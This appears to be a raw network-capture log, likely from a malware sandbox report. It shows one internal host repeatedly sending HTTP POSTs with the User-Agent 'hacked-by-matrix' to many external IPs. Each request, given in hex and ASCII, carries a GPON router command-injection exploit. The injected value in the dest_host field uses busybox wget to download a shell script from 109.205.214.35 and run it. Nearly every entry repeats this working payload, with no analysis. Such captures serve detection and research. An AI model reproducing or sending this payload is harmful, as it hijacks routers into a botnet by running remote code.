Mar 21, 2024 05:18:33.913326025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.13	43472	79.231.16.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913352013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.13	60938	79.198.198.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913372040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.13	55432	210.112.132.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913422108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.13	59682	118.49.176.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913469076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.13	57490	79.35.131.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913502932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.13	60820	79.180.116.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913537979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.13	33564	118.139.56.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913558960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.13	52098	42.111.204.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913602114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.13	46626	42.209.16.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913655996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.13	37322	210.89.226.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913655996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.13	34074	118.30.218.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913671017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.13	57360	2.63.144.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913728952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.13	51158	5.174.216.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913749933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.13	54400	5.192.203.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913785934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.13	35218	5.147.26.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913826942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.13	48460	212.142.236.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913861036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.13	48508	42.212.181.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913887978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.13	55890	37.213.169.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913908005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.13	51208	42.104.78.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913929939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.13	43470	42.254.208.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913964033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.13	32948	42.70.196.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913988113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.13	36190	210.94.233.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914047956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.13	36790	109.137.243.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914047956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.13	41968	94.246.45.66	443

Timestamp	Bytes transferred	Direction	Data
